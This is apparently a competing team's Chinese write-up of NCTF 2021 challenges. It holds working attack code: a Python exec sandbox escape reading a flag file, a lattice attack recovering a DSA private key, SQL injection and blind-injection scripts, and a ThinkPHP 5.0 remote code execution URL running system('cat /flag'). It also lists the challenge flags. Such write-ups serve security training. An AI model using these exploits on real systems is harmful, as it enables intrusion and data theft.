NCTF 2021

  • 比赛时间:2021.11.27 9:00-2021.11.28 21:00
  • 比赛区分校内校外,比赛结束后结算分别排名,比赛时排行榜不区分
  • 注册队伍登陆后,请在Profile页面绑定队伍成员信息
  • 每支队伍至少绑定一个成员,不超过4人,校内队伍所有成员请填写真实姓名和正确学号,校外队伍至少绑定一个成员,以便颁奖时联系。
  • 未绑定成员信息的队伍可以正常解题但不参与排名
  • 成员信息一经绑定不可更改
  • 禁止对平台进行攻击
  • 禁止与其他队伍交流解题思路
  • 请在比赛结束后12小时内发送详细解题思路(pdf格式)到邮箱nctf@h4ck.fun

Rank: 10


MISC

Signin

find it

签到,https://nctf.h4ck.fun/challenges/NCTF%7BWelcome_to_NCTF_2021!%7D,链接就有flag:NCTF{Welcome_to_NCTF_2021!}

Hex酱的秘密花园

我们可爱的Hex酱又有了一个强大的功能,可以去执行多行语句惹~
但是为了防止有些居心叵测的人,我们专门 把括号,单双引号,都过滤掉,噢对不准色色,所以也不准出现h哟~
Ubuntu Python3.6.9
快去找Hex酱(QQ:2821876761)私聊吧
私聊发送的信息为明文,不需要加base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys
from base64 import b64decode

code = sys.argv[1]

try:
data = b64decode(code.encode()).decode()
except:
exit(0)

for c in 'h"\'(':
if c in data: exit(0)

exec(data)

挺有趣的结合了QQBot的python逃逸,由代码知需传入python代码段,不能包含括号、单双引号和字母h,最后exec 函数执行。

断掉了 print()help() 输出方式,可以采用python中的语法糖 @ 类装饰器,在创建类时触发装饰器中的代码逻辑:

1
2
3
4
5
6
7
8
9
10
x=95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,104,111,109,101,47,102,108,97,103,39,41,46,114,101,97,100,40,41
y=lambda z:x
@print
@eval
@bytes
@y
class z:
pass

#__import__('os').popen('cat /home/flag').read()

Bot返回flag:NCTF{HexQBot_1s_s0_cut3~}

做题做累了来玩玩游戏吧

做了一天的题目,都累了吧,快来玩玩我新写的飞机大战吧,只要通关就能获得flag哟~
对了,如果你真的想玩游戏,也许你需要一个mac,Intel和Apple silicon芯片都支持

Unity3D 游戏,主逻辑都在 Assembly-CSarp.dll 中,找到文件:

PlaneFire.app/Contents/Resources/Data/Managed/Assembly-CSharp.dll

用ILSpy查看dll程序逻辑,发现最终通过访问 http://h4ck.fun/g4me.txt 获取flag:NCTF{B9F3C1F2-1E65-481C-8AF3-A78FA7A5EB6A}

问卷题

问卷链接:https://forms.gle/RcKhJo2uQwQrL4Gu9
提示:是Google问卷

签退,答完就有flag:NCTF{Thank_y0u_for_your_participation}

CRYPTO

dsa

flag格式nctf{.*},题目见附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import *
from secret import flag
from hashlib import sha256
import os

def keygen():
while True:
p = getPrime(522)
q = p//2
if isPrime(q):
break
g = 3
h = long_to_bytes(getPrime(256))
x = int.from_bytes(h*2, "big")
y = pow(g, x, p)
return g, p, q, y, x

def sign(h, x):
k = sha256(h.encode().hex().encode()).digest()+sha256(bytes.fromhex(h)+x.to_bytes(128, "big")).digest()
k = int.from_bytes(k, "big")
r = pow(g,k,p)
s = (r*x+int(h,16))*inverse(k,q)%q
return r, s

g, p, q, y, x = keygen()
flag = int(flag[5:-1],16)^int(sha256(x.to_bytes(128, "big")).hexdigest(),16)
r, s = sign(hex(flag)[2:], x)

print(q)
print(y)
print(flag)
print(r)
print(s)
'''
4065074330205980877463463424406813850154275302695361748314870346411329051948044450952905063182483477758495116696164996888846308775044737816809015524088898203
7743982251072012463264403932580827621959049035277930304818871889119878506480333248188293037455476433705911511645160292331990658781048396135284434991466243636
19480592192543881131267167328019941277106895469291691207381812905033306766991
962433004607153392099715322793248884218264181538005666659905851247468102959956625098831516046715446615198437005036117685792905736788216987378584513020215442
1861254747644911591100925843087118347161726578606012243057783788330822542299254180561801871884967022902307837045926190782819951409650425825871898890839825777
'''

DSA签名算法,将明文 $m$ 与私钥 $x$ 哈希值 $h(x)$ 的异或值 $H=m \oplus h(x)$ 传入sign() 函数,并将 $H$ 与 $h(H+x)$ 连接得到的 $k$ 作为临时密钥,计算 $r=g^k \bmod p$ 和 $s=(rx+H)k^{-1} \bmod q$,给出签名结果 $(r,s)$,求私钥 $x$。

已知 $g,q,p=2q+1,y,H,r,s$,$x$ 为512位,根据 x = int.from_bytes(h*2, "big") 可知 $x \mid (2^{256}+1)$,设 $x=(2^{256}+1)d’$,则 $d’$ 也是256位。

$k$ 由 $H$ 与 $h(H+x)$ 连接得到,$H$ 已知,即 $k$ 的高256位已知,低256位未知,设 $k=2^{256}H+h’$。

根据 $s=(rx+H)k^{-1} \bmod q$,有:

$(2^{256}H+h’)s-(2^{256}+1)d’r-H \equiv 0 \pmod q$

利用coppersmith定理构造格,通过LLL算法计算 $(h’,d’)$,这里采用small_roots脚本攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# Sage
import itertools

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

q=4065074330205980877463463424406813850154275302695361748314870346411329051948044450952905063182483477758495116696164996888846308775044737816809015524088898203
g=3
y=7743982251072012463264403932580827621959049035277930304818871889119878506480333248188293037455476433705911511645160292331990658781048396135284434991466243636
h=19480592192543881131267167328019941277106895469291691207381812905033306766991
r=962433004607153392099715322793248884218264181538005666659905851247468102959956625098831516046715446615198437005036117685792905736788216987378584513020215442
s=1861254747644911591100925843087118347161726578606012243057783788330822542299254180561801871884967022902307837045926190782819951409650425825871898890839825777
p=2*q+1

from hashlib import sha256
import gmpy2

kmax=int(sha256(hex(h)[2:].encode().hex().encode()).digest().hex(),16)

PR.<h_, d_> = PolynomialRing(Zmod(q))

f = (2^256 * kmax + h_) * s - (2^256 + 1) * d_ * r - h
roots = small_roots(f, [2^256, 2^256], d=4, m=4)
print(roots)
for root in roots:
kmin = Integer(root[0])
k = (2^256 * kmax + kmin)
x_ = Integer(root[1])
x_ = (2^256 + 1) * x_
if pow(g, x_, p) == y:
print("[+] found: {}".format(x_))
break
else:
print("[-] wrong: {}".format(x_))

print(x_)
flag = hex(int(sha256(int(x_).to_bytes(128, "big")).hexdigest(),16) ^^ h)[2:]
print(flag)

# 1d92dae504a70fbcae6d3721a55d7eacaf94d3133ea5f0394b7d203d64841110

加上外壳,flag:nctf{1d92dae504a70fbcae6d3721a55d7eacaf94d3133ea5f0394b7d203d64841110}

WEB

ezsql

这还能注入吗

Hint 1: 另一半flag在数据库中

www.zip 中三个文件 config.phpDB.phplogin.php

login.php 中主逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (isset($_POST['password'])){
$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']); // (1)

if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']); // (2)
}
else{
$query = $query . " and name='benjaminEngel'";
}
$query = $query . " limit 1";

$result = db::commit($query);

if ($result->num_rows > 0){
die('NCTF{ez');
}
else{
die('Wrong name or password.');
}
}
...

使用 db::prepare 预处理sql语句。

跟进 DB.phpprepare() 函数的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
die('%s not included in query!');
return;
}

// get args
$args = func_get_args();
array_shift( $args );

$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) { // (3)
$args = $args[0];
$args_is_array = true;
}

$count_format = substr_count($query, '%s');

if($count_format !== count($args)){ // (4)
die('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value); // (5)
}

// prepare
$query = str_replace("%s", "'%s'", $query); // (6)
$query = vsprintf($query, $args); // (7)
return $query;

}

(3)处 prepare() 函数接收的 $args 为数组,(4)处 判断接收参数数量和 %s 数量是否一致,(5)处转义特殊字符,(6)处给 %s 匹配的参数值加单引号,(7)处替换 $query 中对应的 %s 为参数值。

在(1)的password和(2)的name处都使用了格式化字符串 %s,可以在(1)处传入 %s 干扰匹配,并在(2)处传入数组匹配两处 %s

password=%sname[0]=) or 1=1 --name[1]=x

sql语句由 SELECT * FROM `users` where password=md5(%s) and name=%s limit 1

变为 SELECT * FROM `users` where password=md5() or 1=1 -- ) and name=x limit 1,实现注入。

POST传参读到前半部分flag:NCTF{3v3ryth1ng_

or 1=1 替换为布尔盲注if语句即可拿到后半部分flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

url = "http://129.211.173.64:3080/login.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(database())),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select(group_concat(`fl@g`))from(`2021`.NcTF)),{i},1))>{mid},1,0)%23'
data = {
'password': '%s',
'name[0]': f") or {payload} -- ",
'name[1]': 's'
}
# r = requests.get(url,params=data)
r = requests.post(url,data=data)
if "NCTF{3v3ryth1ng_" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

# not_fantast1c_:)}

合并,flag:NCTF{3v3ryth1ng_not_fantast1c_:)}

摆就完事了

啊对对对 太对辣太对辣
If you get no idea about the problem,there is no harm in diffing the source code with the official one.

观察url结构 /public/index.php/index/index/index,疑似ThinkPHP路径,随便改写报错知为ThinkPHP V5.0.16。

尝试未开启强制路由RCE漏洞,加后缀:

http://129.211.173.64:8085/public/index.php/index/index/index?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

出现phpinfo页,改成 <?php%20system("cat /flag");?> 拿到flag:nctf{m1saka_wanna_kaibai}

摆就完事了2.0

卷起来 不准摆!

版本同上,改了逻辑,未开启强制路由RCE漏洞无效。

www.zip 下载源码,发现控制器 applicaion/index/controller/M1sakaM1yuu.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
/*
* @Author: m1saka@x1ct34m
* @blog: www.m1saka.love
*/

namespace app\index\controller;
function waf($str){
if(preg_match("/system| |\*|union|insert|and|into|outfile|dumpfile|infile|floor|set|updatexml|extractvalue|length|exists|user|regexp|;/i", $str)){
return true;
}
}
class M1sakaM1yuu
{
public function index()
{
$username = request()->get('username/a');
$str = implode(',',$username);
if (waf($str)) {
return '<img src="http://www.m1saka.love/wp-content/uploads/2021/11/hutao.jpg" alt="hutao" />';
}
if($username){
db('m1saka')->insert(['username' => $username]);
return '啊对对对';
}
else {
return '说什么我就开摆';//
}
}
}

按照ThinkPHP控制器语法,GET方式传入 username 参数值(本地部署,开启debug调试功能测试):

http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username=xxx 正常回显 啊对对对

后续控制 username 参数值,绕过waf,实现insert注入:

http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=if((substr((select("admin")),16,1)="n"),sleep(3),0)

替换为时间盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]="

result = ''
i = 15

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'if((ascii(substr((select(load_file("/var/www/html/ffllaagg.php"))),{i},1))>{mid}),sleep(0.6),0)'

try:
r = requests.get(url + payload,timeout=0.5)
tail = mid
except:
head = mid + 1

if head != 32:
result += chr(head)
else:
break
print(result)

得到flag:nctf{m1saka_wanna_marry_liyuu_}

REVERSE

Hello せかい

欢迎来到NCTF-逆向工程(Reverse Engineering)
这里可能有你需要的工具:
ida pro 7.6 :链接:https://pan.baidu.com/s/1bV2HjBBX0bwwtzORqhErOg 提取码:o49x

IDA打开,查找字符串,发现flag:NCTF{We1come_2_Reverse_Engineering}